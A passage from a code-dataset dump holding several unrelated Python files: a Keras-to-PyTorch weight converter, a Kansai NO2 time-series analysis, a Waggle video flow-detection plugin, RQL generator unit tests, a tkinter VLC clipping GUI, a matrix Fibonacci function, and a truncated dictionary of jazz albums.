state_dict['features.' + layer.get_config()['name'] + '.weight'] = np.transpose(get_weight(layer), (3, 2, 0, 1))\n state_dict['features.' + layer.get_config()['name'] + '.bias'] = get_bias(layer)\n elif isinstance(layer, layers.Dense):\n if layer.get_config()['name'] == 'fc7':\n state_dict['classifier.' + layer.get_config()['name'] + '.weight'] = np.reshape(np.transpose(np.reshape(get_weight(layer), (2, 2, 256, 256)), (3, 2, 0, 1)), (256, 1024))\n else:\n state_dict['classifier.' + layer.get_config()['name'] + '.weight'] = np.transpose(get_weight(layer), (1, 0))\n state_dict['classifier.' + layer.get_config()['name'] + '.bias'] = get_bias(layer)\n return state_dict\n\ndef main():\n with open('cerranet-keras.pth', 'wb') as f:\n pickle.dump(get_state_dict(), f)\n\nif __name__ == '__main__':\n main()\n","repo_name":"jurandy-almeida/cerranet","sub_path":"scripts/to_torch.py","file_name":"to_torch.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"10951666479","text":"import numpy as np\r\nimport astropy.time as Time\r\nimport matplotlib.pyplot as plt\r\nimport re\r\n\r\niFileName = \"g4.areaAvgTimeSeries.OMNO2d_003_ColumnAmountNO2CloudScreened.20100101-20200527.134E_34N_136E_35N.csv\"\r\n\r\nnumHeadFilter = re.compile('^\\d*')\r\nlenNumHead = lambda x : numHeadFilter.match(x).span()[1]\r\nnumTailFilter = re.compile('[-+]?\\d*.\\d*[e]?[-+]?\\d*$')\r\nfillValue = -1\r\nnoValue = np.nan\r\n\r\nlst = [{\"Date\":[],\"DoY\":[], \"Value\":[]}]\r\nt_prev = 2.0 # any value greater than start_day\r\nstart_day = 0.5 # start day of the analysis year in the format of the fraction of year (0.0~1.0)\r\n\r\n# Skip Headers\r\nwith open(iFileName, \"r\") as ifile:\r\n\tll = ifile.readline()\r\n\twhile(lenNumHead(ll) != 4):\r\n\t\tif ll[0:10] == \"Fill Value\":\r\n\t\t\tfillValue = float(ll.split(',')[-1])\r\n\t\t\t#fillValue = numTailFilter.search(ll).group(0)\r\n\t\t\tprint(\"fillValue = {0}\".format(fillValue))\r\n\t\tll = ifile.readline()\r\n\twhile ll:\r\n\t\tdata = ll.split(',')\r\n\t\tif float(data[1]) != fillValue:\r\n\t\t\tdate = Time.Time(data[0]+\"T12:00:00\",format=\"isot\")\r\n\t\t\ttt = date.jyear % 1\r\n\t\t\tif t_prev < start_day and tt >= start_day:\r\n\t\t\t\tlst.append({\"Date\":[],\"DoY\":[], \"Value\":[]})\r\n\t\t\tlst[-1][\"Date\"].append(date)\r\n\t\t\tlst[-1][\"DoY\"].append(((tt + start_day)%1)+start_day)\r\n\t\t\tlst[-1][\"Value\"].append(float(data[1]))\r\n\t\t\tt_prev = tt\r\n\t\tll = ifile.readline()\r\n\r\n\r\nfontsize = 18\r\n\r\nfig, ax = plt.subplots(figsize=(18,6),dpi=100)\r\nlastId = len(lst)-1\r\nfor ii, dd in enumerate(lst):\r\n\ttt = dd[\"DoY\"]\r\n\tvv = dd[\"Value\"]\r\n\tif ii != lastId:\r\n\t\tcc = [1-ii/40.0,0.75-ii/40.0,0.75-ii/40.0]\r\n\t\tstyle = \"-\"\r\n\telse:\r\n\t\tcc = [0,0,0]\r\n\t\tstyle = \"x-\"\r\n\timg = ax.plot(tt,vv,style, color=cc, linewidth=2)\r\nplt.yscale(\"log\")\r\nplt.ylim([1e15, 1e17])\r\nplt.xlim([start_day, start_day+1])\r\nax.set_xticks(np.arange(start_day,start_day+1.1,0.1), minor=True)\r\nplt.tick_params(labelsize=fontsize)\r\nax.grid(which=\"both\", axis=\"both\", color=\"grey\", alpha=0.8,linestyle=\"--\", linewidth=0.5)\r\nplt.title(\"KeiHanShin Area-Averaged Daily Column Density of NO$_{2}$ (cm$^{-2}$)\", fontsize=fontsize)\r\nplt.xlabel(\"Year\", fontsize=fontsize)\r\nplt.ylabel(\"Column Density of NO$_{2}$ (cm$^{-2}$)\", fontsize=fontsize)\r\nplt.savefig(\"NO2_YearAnalysis.png\")\r\nplt.show()\r\n\r\npltDate = []\r\npltVal = []\r\n\r\ndt = 0.01 # about 3 days\r\n\r\nfor t0, vv in zip(lst[-1][\"DoY\"], lst[-1][\"Value\"]):\r\n\tsum_v = 0.0\r\n\tsum_v2 = 0.0\r\n\tcnt = 0\r\n\tfor dd in lst[:-1]:\r\n\t\tfor jj, tt in enumerate(dd[\"DoY\"]):\r\n\t\t\tif min(abs(tt-t0), abs(tt-t0-1)%1, abs(tt-t0+1)%1) <= dt:\r\n\t\t\t\tsum_v = sum_v + dd[\"Value\"][jj]\r\n\t\t\t\tsum_v2 = sum_v2 + dd[\"Value\"][jj]**2\r\n\t\t\t\tcnt = cnt + 1\r\n\tmean = sum_v/cnt\r\n\tstd = np.sqrt(sum_v2/cnt - mean**2)\r\n\tpltDate.append(t0)\r\n\tpltVal.append((vv-mean)/std)\r\n\r\nfig, ax = plt.subplots(figsize=(18,6),dpi=100)\r\nimg = ax.plot(pltDate, pltVal, \"x-\", color=\"k\", linewidth=2)\r\nplt.tick_params(labelsize=fontsize)\r\nplt.ylim([-5, 5])\r\nplt.xlim([0.5,1.5])\r\nax.set_xticks(np.arange(start_day,start_day+1.1,0.1), minor=True)\r\nax.grid(which=\"both\", axis=\"both\", color=\"grey\", alpha=0.8,linestyle=\"--\", linewidth=0.5)\r\nplt.title(\"KeiHanShin Area-Averaged Daily Normalized Column Density of NO$_{2}$\", fontsize=fontsize)\r\nplt.xlabel(\"Year since 2019 Jan. 01\", fontsize=fontsize)\r\nplt.ylabel(\"Normalized Logarithm of Column Density\", fontsize=fontsize)\r\nplt.savefig(\"NO2_2019Jul-2020Jun.png\")\r\nplt.show()\r\n\r\nprint(\"[Decl.] WHO, Emergency of Int. Concern : 2020 Jan. 30 ({0:8.3f})\".format(Time.Time(\"2020-01-30T12:00:00\").jyear))\r\nprint(\"[Decl.] Cancelation of Class in Japan : 2020 Feb. 27 ({0:8.3f})\".format(Time.Time(\"2020-02-27T12:00:00\").jyear))\r\nprint(\"[Decl.] State of Emergency at Osaka&Kobe: 2020 Apr. 7 ({0:8.3f})\".format(Time.Time(\"2020-04-07T12:00:00\").jyear))\r\nprint(\"[Decl.] State of Emergency at Kyoto : 2020 Apr. 16 ({0:8.3f})\".format(Time.Time(\"2020-04-16T12:00:00\").jyear))\r\nprint(\"Golden Week (Japanese Holiday Week) : 2020 May 1 ({0:8.3f})\".format(Time.Time(\"2020-05-01T12:00:00\").jyear))\r\nprint(\"[Lift ] State of Emergency at Kyoto : 2020 May 14 ({0:8.3f})\".format(Time.Time(\"2020-05-14T12:00:00\").jyear))\r\nprint(\"[Lift ] State of Emergency at Osaka&Kobe: 2020 May 21 ({0:8.3f})\".format(Time.Time(\"2020-05-21T12:00:00\").jyear))\r\n\r\nfor tt, vv in zip(pltDate, pltVal):\r\n\tprint(\"{0:8.3f} : {1:6.3f}\".format(tt,vv))","repo_name":"aDAVISk/kNOxDownCOVID-19","sub_path":"analyse_KansaiNo2.py","file_name":"analyse_KansaiNo2.py","file_ext":"py","file_size_in_byte":4245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9441062096","text":"import cv2\nimport numpy as np\nfrom typing import Dict\nfrom Classifiers import TextureTemporalClassifier\nimport pickle\nimport time\nimport argparse\nfrom collections import deque\nfrom waggle import plugin\nfrom waggle.data.vision import Camera\nfrom pathlib import Path\n\nimport ffmpeg\nimport os\n\nfrom waggle.data.vision import VideoCapture, resolve_device\nfrom waggle.data.timestamp import get_timestamp\n\nimport time\n\nTOPIC_FLOWDETECTOR = 'env.flow.detection'\n\nmodels = {50: 'tt_classifier_50fps.model',\n 5: 'tt_classifier_5fps.model',\n 1: 'tt_classifier_1fps.model'}\n\nmodel_data = {rate: pickle.load(open(filename, 'rb')) for rate, filename in models.items()}\n# model_data: Dict[TextureTemporalClassifier]\n\ndef get_water_mask(camera: Camera, model: TextureTemporalClassifier):\n N_FRAMES_MAX_BUFFER = 60\n test_framerate = time.time_ns()\n frame_buffer = deque(maxlen=N_FRAMES_MAX_BUFFER)\n for sample in camera.stream():\n frame_buffer.append(sample.data)\n if len(frame_buffer) == N_FRAMES_MAX_BUFFER:\n break\n time_to_accumulate_s = (float(time.time_ns()) - test_framerate) / (10**9)\n fps = 1.0 / (time_to_accumulate_s / N_FRAMES_MAX_BUFFER)\n print(\"FPS: %f\" % fps)\n\n\ndef get_stream_info(stream_url):\n try:\n input_probe = ffmpeg.probe(stream_url)\n fps = eval(input_probe['streams'][0]['r_frame_rate'])\n width = int(input_probe['streams'][0]['width'])\n height = int(input_probe['streams'][0]['height'])\n return True, fps, width, height\n except:\n return False, 0., 0, 0\n\n\ndef take_sample(stream, duration, skip_second, resampling, resampling_fps):\n stream_url = resolve_device(stream)\n # Assume PyWaggle's timestamp is in nano seconds\n timestamp = get_timestamp() + skip_second * 1e9\n try:\n script_dir = os.path.dirname(__file__)\n except NameError:\n script_dir = os.getcwd()\n filename_raw = os.path.join(script_dir, 'motion_record_raw.mp4')\n filename = os.path.join(script_dir, 'motion_record.mp4')\n\n c = ffmpeg.input(stream_url, ss=skip_second).output(\n filename_raw,\n codec = \"copy\", # use same codecs of the original video\n f='mp4',\n t=duration).overwrite_output()\n print(c.compile())\n c.run(quiet=True)\n\n d = ffmpeg.input(filename_raw)\n if resampling:\n print(f'Resampling to {resampling_fps}...')\n d = ffmpeg.filter(d, 'fps', fps=resampling_fps)\n d = ffmpeg.output(d, filename, f='mp4', t=duration).overwrite_output()\n else:\n d = ffmpeg.output(d, filename, codec=\"copy\", f='mp4', t=duration).overwrite_output()\n\n print(d.compile())\n d.run(quiet=True)\n # TODO: We may want to inspect whether the ffmpeg commands succeeded\n return True, filename, timestamp\n\n\n\ndef run(args):\n logtimestamp = time.time()\n plugin.publish(TOPIC_FLOWDETECTOR, 'Flow Detector: Getting Video', timestamp=logtimestamp)\n print(f\"Getting Video: {logtimestamp}\")\n\n device_url = resolve_device(args.stream)\n ret, fps, width, height = get_stream_info(device_url)\n if ret == False:\n print(f'Error probing {device_url}. Please make sure to put a correct video stream')\n return 1\n print(f'Input stream {device_url} with size of W: {width}, H: {height} at {fps} FPS')\n\n # If resampling is True, we use resampling_fps for inferencing as well as sampling\n if args.resampling:\n fps = args.resampling_fps\n print(f'Input will be resampled to {args.resampling_fps} FPS')\n\n\n sampling_countdown = -1\n if args.sampling_interval > -1:\n print(f'Input video will be sampled every {args.sampling_interval}th inferencing')\n sampling_countdown = args.sampling_interval\n\n logtimestamp = time.time()\n plugin.publish(TOPIC_FLOWDETECTOR, 'Flow Detector: Starting detector', timestamp=logtimestamp)\n print('Starting flow detector..')\n plugin.init()\n while True:\n print(f'Grabbing video for {args.duration} seconds')\n ret, filename, timestamp = take_sample(\n stream=args.stream,\n duration=args.duration,\n skip_second=args.skip_second,\n resampling=args.resampling,\n resampling_fps=args.resampling_fps\n )\n if ret == False:\n print('Coud not sample video. Exiting...')\n return 1\n\n print('Analyzing the video...')\n total_frames = 0\n do_sampling = False\n if sampling_countdown > 0:\n sampling_countdown -= 1\n elif sampling_countdown == 0:\n do_sampling = True\n sampling_countdown = args.sampling_interval\n\n\n with VideoCapture(filename) as cap:\n width = cap.get(cv2.CAP_PROP_FRAME_WIDTH) # float\n height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT) # float\n fps = cap.get(cv2.CAP_PROP_FPS)\n diff_time = 1. / 5.\n print(f'width: {width}, height: {height}, fps: {fps}')\n\n if do_sampling:\n fourcc = cv2.VideoWriter_fourcc(*'mp4v')\n out = cv2.VideoWriter(\"motionsample.mp4\", fourcc, fps, (int(width), int(height)), True)\n\n\n c = 0\n input_frames = []\n t = 0\n while True:\n t += 1. / fps\n ret, frame = cap.read()\n if ret == False:\n break\n if t >= diff_time:\n input_frames.append(frame)\n c += 1\n t -= diff_time\n if c == 60:\n break\n\n input_frames = np.array(input_frames)\n input_frames = np.expand_dims(input_frames, axis=0)\n print(f'{input_frames.shape}')\n segmentation_array = model_data[5].segment(input_frames, prob_mode=True)\n #print(segmentation_array.shape)\n #print(segmentation_array.dtype)\n result = segmentation_array.squeeze()\n #print(result.shape)\n #print(result)\n\n\n logtimestamp = time.time()\n plugin.publish(TOPIC_FLOWDETECTOR, 'Flow Detector: End Detection', timestamp=logtimestamp)\n print(f\"End Detection: {logtimestamp}\")\n\n # result *= 255.\n # print(f'{result}')\n # result[result > 0.] = 124.\n # result = result.astype(np.int8)\n result2 = cv2.cvtColor((result*255).astype(np.uint8), cv2.COLOR_GRAY2RGB)\n #print(result2.dtype)\n cv2.imwrite('result.jpg', result2)\n print('saved')\n\n #count = 0\n #for i in range(len(result)):\n # for j in range(len(result[0])):\n # if result[i][j] > 0.7:\n # count += 1\n #print(count)\n\n plugin.upload_file(\"motion_record.mp4\")\n plugin.upload_file(\"result.jpg\")\n\n logtimestamp = time.time()\n plugin.publish(TOPIC_FLOWDETECTOR, 'Flow Detector: End plugin', timestamp=logtimestamp)\n print(f\"End plugin: {logtimestamp}\")\n exit(0)\n\n\nif __name__=='__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-stream', dest='stream',\n action='store', default=\"camera\", type=str,\n help='ID or name of a stream, e.g. sample')\n parser.add_argument(\n '-duration', dest='duration',\n action='store', default=14., type=float,\n help='Time duration for input video')\n parser.add_argument(\n '-resampling', dest='resampling', default=False,\n action='store_true', help=\"Resampling the sample to -resample-fps option (defualt 12)\")\n parser.add_argument(\n '-resampling-fps', dest='resampling_fps',\n action='store', default=12, type=int,\n help='Frames per second for input video')\n parser.add_argument(\n '-skip-second', dest='skip_second',\n action='store', default=3., type=float,\n help='Seconds to skip before recording')\n parser.add_argument(\n '-sampling-interval', dest='sampling_interval',\n action='store', default=-1, type=int,\n help='Inferencing interval for sampling results')\n args = parser.parse_args()\n run(args)\n","repo_name":"waggle-sensor/plugin-motion-analysis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74784343525","text":"import doctest\nimport unittest\n\nfrom rql import rqlgen\n\n\ndef load_tests(loader, tests, ignore):\n tests.addTests(doctest.DocTestSuite(rqlgen))\n return tests\n\n\nclass RQLGenTC(unittest.TestCase):\n \"\"\"tests the rqlgen behaviour\n \"\"\"\n\n def setUp(self):\n \"\"\"Only defines a rql generator\n \"\"\"\n self.rql_generator = rqlgen.RQLGenerator()\n\n def test_select_etype(self):\n \"\"\"tests select with entity type only\n \"\"\"\n rql = self.rql_generator.select('Person')\n self.assertEqual(rql, 'Person X')\n\n def test_select_group(self):\n \"\"\"tests select with group\n \"\"\"\n rql = self.rql_generator.select('Person', groups=('X',))\n self.assertEqual(rql, 'Person X\\nGROUPBY X')\n\n def test_select_sort(self):\n \"\"\"tests select with sort\n \"\"\"\n rql = self.rql_generator.select('Person', sorts=('X ASC',))\n self.assertEqual(rql, 'Person X\\nSORTBY X ASC')\n\n def test_select(self):\n \"\"\"tests select with e_type, attributes, sort, and group\n \"\"\"\n rql = self.rql_generator.select('Person',\n (('X', 'work_for', 'S'),\n ('S', 'name', '\"Logilab\"'),\n ('X', 'firstname', 'F'),\n ('X', 'surname', 'S')),\n ('X',),\n ('F ASC', 'S DESC'))\n self.assertEqual(rql, 'Person X\\nWHERE X work_for S , S name \"Logilab\"'\n ' , X firstname F , X surname S\\nGROUPBY X'\n '\\nSORTBY F ASC, S DESC')\n\n def test_where(self):\n \"\"\"tests the where() method behaviour\n \"\"\"\n rql = self.rql_generator.where((('X', 'work_for', 'S'),\n ('S', 'name', '\"Logilab\"'),\n ('X', 'firstname', 'F'),\n ('X', 'surname', 'S')))\n self.assertEqual(rql, 'WHERE X work_for S , S name \"Logilab\" '\n ', X firstname F , X surname S')\n\n def test_groupby(self):\n \"\"\"tests the groupby() method behaviour\n \"\"\"\n rql = self.rql_generator.groupby(('F', 'S'))\n self.assertEqual(rql, 'GROUPBY F, S')\n\n def test_sortby(self):\n \"\"\"tests the sortby() method behaviour\n \"\"\"\n rql = self.rql_generator.sortby(('F ASC', 'S DESC'))\n self.assertEqual(rql, 'SORTBY F ASC, S DESC')\n\n def test_insert(self):\n \"\"\"tests the insert() method behaviour\n \"\"\"\n rql = self.rql_generator.insert('Person', (('firstname', \"Clark\"),\n ('lastname', \"Kent\")))\n self.assertEqual(rql, 'INSERT Person X: X firstname \"Clark\",'\n ' X lastname \"Kent\"')\n\n def test_update(self):\n \"\"\"tests the update() method behaviour\n \"\"\"\n rql = self.rql_generator.update('Person',\n (('firstname', \"Clark\"),\n ('lastname', \"Kent\")),\n (('job', \"superhero\"),\n ('nick', \"superman\")))\n self.assertEqual(rql, 'SET X job \"superhero\", X nick \"superman\" '\n 'WHERE X is \"Person\", X firstname \"Clark\", X '\n 'lastname \"Kent\"')\n\n def test_delete(self):\n \"\"\"tests the delete() method behaviour\n \"\"\"\n rql = self.rql_generator.delete('Person',\n (('firstname', \"Clark\"),\n ('lastname', \"Kent\")))\n self.assertEqual(rql, 'DELETE Person X where X firstname \"Clark\", '\n 'X lastname \"Kent\"')\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"gurneyalex/rql","sub_path":"test/unittest_rqlgen.py","file_name":"unittest_rqlgen.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"42549945243","text":"import tkinter as tk\nfrom tkinter import ttk\n\nimport backend\nimport settings_gui\nimport terminal\nfrom __version__ import __version__\n\nFRAME_PAD_X = 10\nFRAME_PAD_Y = 5\n\n\nclass MainGUI:\n\n def __init__(self):\n self.backend = backend.Backend()\n\n self.root = tk.Tk()\n self.root.protocol('WM_DELETE_WINDOW', self.close)\n self.root.title('VLClipper v' + __version__)\n self.advanced_visible = tk.IntVar(value=self.backend.config.get_advanced_visible())\n self.terminal = terminal.Terminal(self.root)\n # ---Start Top Row Section---\n self.top_frame = ttk.Frame(self.root)\n self.top_frame.grid(row=0, column=0, padx=FRAME_PAD_X, pady=FRAME_PAD_Y)\n self.top_vlc_button = ttk.Button(self.top_frame, command=self.backend.handle_main__vlc_button, text='Open VLC')\n self.top_vlc_button.grid(row=0, column=0)\n self.top_settings_button = ttk.Button(self.top_frame, command=self.open_settings, text='Settings')\n self.top_settings_button.grid(row=0, column=1)\n self.top_defaults_button = ttk.Button(self.top_frame, command=self.load_defaults, text='Load Defaults')\n self.top_defaults_button.grid(row=0, column=2)\n # ---End Top Row Section---\n # ---Start Timing Section---\n self.timing_frame = ttk.Frame(self.root)\n self.timing_frame.grid(row=1, column=0, padx=FRAME_PAD_X, pady=FRAME_PAD_Y)\n ttk.Label(self.timing_frame, text='Timing').grid(row=0, column=0, columnspan=3, padx=5, pady=5)\n ttk.Label(self.timing_frame, text='Capture').grid(row=1, column=0)\n self.timing_length_field = ttk.Spinbox(self.timing_frame, from_=0)\n self.timing_length_field.grid(row=1, column=1)\n self.timing_units_combobox = ttk.Combobox(self.timing_frame, state='readonly')\n self.timing_units_combobox['values'] = ('Seconds', 'Frames')\n self.timing_units_combobox.grid(row=1, column=2)\n # ---End Timing Section---\n # ---Start Output Section---\n self.output_frame = ttk.Frame(self.root)\n self.output_frame.grid(row=2, column=0, padx=FRAME_PAD_X, pady=FRAME_PAD_Y)\n ttk.Label(self.output_frame, text='Output File').grid(row=0, column=0, columnspan=3, padx=5, pady=5)\n self.output_type_combobox = ttk.Combobox(self.output_frame, state='readonly')\n self.output_type_combobox['values'] = ('MP4 file', 'MKV file')\n self.output_type_combobox.grid(row=1, column=0)\n self.output_path_field = ttk.Entry(self.output_frame)\n self.output_path_field.grid(row=1, column=1)\n self.output_browse_button = ttk.Button(self.output_frame, command=lambda: self.backend.handle_main__browse_button(self.output_path_field, self.output_type_combobox.get()), text='Browse')\n self.output_browse_button.grid(row=1, column=2)\n # ---End Output Section---\n # ---Start Toggle Section---\n self.toggle_hidden = ttk.Checkbutton(self.root, variable=self.advanced_visible, onvalue=True,\n command=self.update_hidden, text='Show More...')\n self.toggle_hidden.grid(row=3, column=0, padx=FRAME_PAD_X, pady=FRAME_PAD_Y)\n # ---End Toggle Section---\n # ---Start Advanced Section---\n self.advanced_frame = ttk.Frame(self.root)\n ttk.Label(self.advanced_frame, text='Advanced HandBrake Parameters').grid(row=0, column=0, padx=5, pady=5)\n self.advanced_handbrake_field = tk.Text(self.advanced_frame, width=60, wrap=tk.CHAR, height=10)\n self.advanced_handbrake_field.grid(row=1, column=0)\n self.update_hidden()\n # ---End Advanced Section---\n # ---Start Terminal Section---\n self.terminal.grid(row=5, column=0, padx=FRAME_PAD_X, pady=FRAME_PAD_Y)\n # ---End Terminal Section---\n # ---Start Capture Section---\n self.capture_button = ttk.Button(self.root, command=lambda: self.backend.handle_main__capture_button(\n length=self.timing_length_field.get(), time_units=self.timing_units_combobox.get(),\n output_file=self.output_path_field.get(), advanced_args=self.advanced_handbrake_field.get('1.0', tk.END),\n terminal=self.terminal), text='Capture')\n self.capture_button.grid(row=6, column=0, padx=FRAME_PAD_X, pady=FRAME_PAD_Y)\n # ---End Capture Section---\n\n self.fill_fields()\n self.root.mainloop()\n\n def open_settings(self):\n settings_gui.SettingsGUI(backend=self.backend)\n\n def load_defaults(self):\n self.backend.config.load_defaults(False)\n self.fill_fields()\n\n def update_hidden(self):\n if self.advanced_visible.get():\n self.advanced_frame.grid(row=4, column=0, padx=FRAME_PAD_X, pady=FRAME_PAD_Y)\n else:\n self.advanced_frame.grid_remove()\n\n def fill_fields(self): # read in the values for each field from the preferences\n self.timing_length_field.delete(0, tk.END)\n self.timing_length_field.insert(0, self.backend.config.get_capture_length())\n\n if self.backend.config.get_time_units() == 'seconds':\n self.timing_units_combobox.current(0)\n else:\n self.timing_units_combobox.current(1)\n\n if self.backend.config.get_output_filetype() == 'mp4':\n self.output_type_combobox.current(0)\n else:\n self.output_type_combobox.current(1)\n\n self.advanced_handbrake_field.delete('1.0', tk.END)\n self.advanced_handbrake_field.insert('1.0', self.backend.config.get_advanced_options())\n\n def save_fields(self): # save current user config\n self.backend.config.set_capture_length(self.timing_length_field.get())\n\n self.backend.config.set_time_units(self.timing_units_combobox.get().lower())\n\n if self.output_type_combobox.get() == 'MP4 file':\n self.backend.config.set_output_filetype('mp4')\n else:\n self.backend.config.set_output_filetype('mkv')\n\n self.backend.config.set_advanced_visible(self.advanced_visible.get())\n\n self.backend.config.set_advanced_options(self.advanced_handbrake_field.get('1.0', tk.END))\n\n self.backend.config.save_prefs()\n\n def close(self):\n # TODO: make sure all child processes are dead\n self.save_fields()\n self.root.destroy()\n self.root.quit()\n","repo_name":"vunderscorei/VLClipper","sub_path":"src/main_gui.py","file_name":"main_gui.py","file_ext":"py","file_size_in_byte":6327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23811550420","text":"# ф-ию Фибоначчи можно написать, используя матрицы: ([[0 1] [1 1]]) * ([Fn-1] [Fn]) = ([Fn] [Fn+1]). Любое число последовательности (k-ое) можно получить из 0-ого и первого чисел последовательности,\n# умножая матрицу ([[0 1] [1 1]]) k раз на ([F0] [F1]). То есть ([Fk] [Fk+1]) = ([[0 1] [1 1]])** k * ([F0] [F1]).\n# пример вычисление 2-ого числа: ([[0 1] [1 1]])**2* ([1] [1]) = ([[0 1] [1 1]])* ([[0 1] [1 1]])* ([1] [1]) = ([1 1] [1 2])*([1] [1]) = ([2] [3])=> 2-ое число в посл-ти - 2, 3-ее - 3\n# возведение матрицы в степень: А**10 = А**8 * А**2 = ((А**2)**2)**2 * А**2\n\ndef multiply_matrix(matrix_a,matrix_b):\n return [[\n matrix_a[0][0] * matrix_b[0][0] + matrix_a[0][1] * matrix_b[1][0],\n matrix_a[0][0] * matrix_b[0][1] + matrix_a[0][1] * matrix_b[1][1]\n ], [\n matrix_a[1][0] * matrix_b[0][0] + matrix_a[1][1] * matrix_b[1][0],\n matrix_a[1][0] * matrix_b[0][1] + matrix_a[1][1] * matrix_b[1][1]\n ]]\n\n\ndef fib(n):\n matrix_A = [[0, 1], [1, 1]]\n matrix_B = [[0, 1], [1, 1]]\n while n:\n if n%2!=0: #если число нечетное умножаем матрицу на изначальную и уменьшаем n на 1\n matrix_B= multiply_matrix(matrix_B, matrix_A)\n n=n-1\n else: #если число четное умножаем матрицу на саму себя и делим n пополам\n matrix_A=multiply_matrix(matrix_A, matrix_A)\n n = n // 2\n return matrix_B[0][0]\n\n# print(fib(5432))\n\n\n\n\n\n\n\n\n\n\n","repo_name":"aigugok/python_hw","sub_path":"hw12.py","file_name":"hw12.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6250945364","text":"# -*- coding: utf-8 -*-\n\nalbum_dict = {\n'Beryl Booker':(\n\"A Girl Met a Piano--EMARCY--1952\",\n\"Beryl Booker Trio--Discovery--1954\",\n\"Don Byas avec Beryl Booker--Découverte--1954\",\n\"The Beryl Booker Trio--Cadence--1954\"),\n'Barbara Carroll':(\n\"Piano Panorama--Atlantic--1951\",\n\"Barbara Carroll Trio--Livingston Binaural 1081-BN--1953\",\n\"Barbara Carroll Trio--RCA Victor--1954\",\n\"Lullabies in Rhythm--RCA Victor--1955\",\n\"Have You Met Miss Carroll--RCA Victor--1956\",\n\"We Couldn't Just Say Goodbye--RCA Victor--1956\",\n\"It's a Wonderful World--RCA Victor--1957\",\n\"Funny Face--Verve--1957\",\n\"Barbara--Verve--1958\",\n\"Flower Drum Song--Kapp Records (en)--1958\",\n\"Why Not--SESAC (en)--1959\",\n\"Hello, Dolly--Warner Bros.--1964\",\n\"What Makes Sammy Run--Warner Bros.--1964\",\n\"At the Piano--Trend Records (en) / Discovery Records (en)--1981\",\n\"Live at the Carlyle--DRG Records--1991\",\n\"This Heart of Mine--DRG--1993\",\n\"Everything I Love--DRG--1995\",\n\"Live at Birdland--Harbinger--2003\",\n\"I Wished On the Moon--Venus Records (en)--2006\",\n\"Something to Live For--Harbinger--2008\",\n\"How Long Has This Been Going On--Harbinger--2010\",\n\"Barbara Carroll Plays at Birdland--Birdland--2016\"),\n'Kenny Wheeler':(\n\"Windmill Tilter--1968\",\n\"Humming Bird--1970\",\n\"Song For Someone--1973\",\n\"Gnu High--1975\",\n\"1976--1976\",\n\"Deer Wan--1978\",\n\"Around 6--1980\",\n\"Double--Double You--1984\",\n\"Flutter By--Butterfly--1988\",\n\"Music For Large & Small Ensembles--1990\",\n\"The Widow In The Window--1990\",\n\"Kayak--1992\",\n\"Blue Camel--1992\",\n\"Touché--1996\",\n\"All The More--1997\",\n\"Angel Song--1997\",\n\"Live at the Montreal Bistro--1998\",\n\"Siren's Song--1998\",\n\"A Long Time Ago--1999\",\n\"One More Time--2000\",\n\"Moon--2001\",\n\"G. Meets K.--2002\",\n\"Ordesa--2002\",\n\"Dream Sequence--2003\",\n\"Island--2003\",\n\"Where Do We Go From Here--2005\",\n\"What Now?--2005\",\n\"It Takes Two!--2006\"),\n'Charlie Parker':('\\\nBillies Bounce / Now\\'s The Time--Savoy Records--1945','\\\nLover Man / Shaw \\'Nuff--Guild Records (2)--1945','\\\nGoin To Mintons / Half-Nelson--Savoy Records--1947','\\\nMango Mangue / Okiedoke --Mercury--1949','\\\nBongo Bop / Embraceable You--Dial Records (3)--1948','\\\nBird Blows The Blues--Dial Records (3)--1949','\\\nStella By Starlight--Mercury--1952','\\\nBird And Diz--Mercury--1952'),'\\\nTom Harrell':('\\\n'),'\\\nLouis Armstrong':('\\\nIf We Never Meet Again / Dipper Mouth--Decca--1936','\\\nWild Man Blues / Melancholy Blues--Parlophone--0','\\\nThe Skeleton In The Closet / Hurdy Gurdy Man--Decca--1936','\\\nHawaiian Hospitality / On A Little Bamboo Bridge--Decca--1937','\\\nDarling Nelly Gray / Carry Me Back To Old Virginny--Decca--0','\\\nIn The Shade Of The Old Apple Tree / The Old Folks At Home--Decca--1937','\\\nThe Flat Foot Floogee / Caravan--Decca--0','\\\nGoin\\' To Shout All Over God\\'s Heaven / Nobody Knows De Trouble I\\'ve Seen--Decca--0','\\\nShadrack/ Jonah And The Whale--Decca--1938','\\\nBoog-It / Cherry--Decca--1940','\\\nBoog-It / How Did She Look?--Brunswick--1940','\\\nSwing That Music / Wolverine Blues--Decca--0','\\\nWeather Bird / Muggles --Parlophone--1942','\\\nJazz Classics--Brunswick--1944','\\\nCherry / Marie--Decca--1945','\\\nSweet Georgia Brown / Shiek Of Araby / Back O\\' Town Blues--V Disc--1945','\\\nYou Won\\'t Be Satisfied / The Frim Fram Sauce--Decca--1946','\\\nBlueberry Hill / That Lucky Old Sun--Decca--1949','\\\nYou Can\\'t Lose A Broken Heart / My Sweet Hunk O\\' Trash--Decca--1949','\\\nRiverside Blues / Mabel\\'s Dream--Claxtonola--1924','\\\nLife Is So Peculiar--Decca--1950','\\\nClassics: New Orleans To New York--Decca--1950','\\\nLa Vie En Rose--Decca--1950','\\\nCan Anyone Explain? / Dream A Little Dream Of Me--Decca--1950','\\\nBlueberry Hill / Baby, Won\\'t You Say You Love Me--Decca--0','\\\nC\\'est Si Bon / Blueberry Hill--Brunswick--1953'),\n'Sonny Stitt':('\\\nAll God\\'s Children (Got Rhythm) / Sunset--Prestige--1949','\\\nBlues Up And Down / You Can Depend On Me--Prestige--1950','\\\nSonny Stitt And Bud Powell Quartet--New Jazz--1951','\\\nBattle Of The Saxes--Prestige--1951','\\\nStringin\\' The Jug--Prestige--1951','\\\nStitt\\'s It / 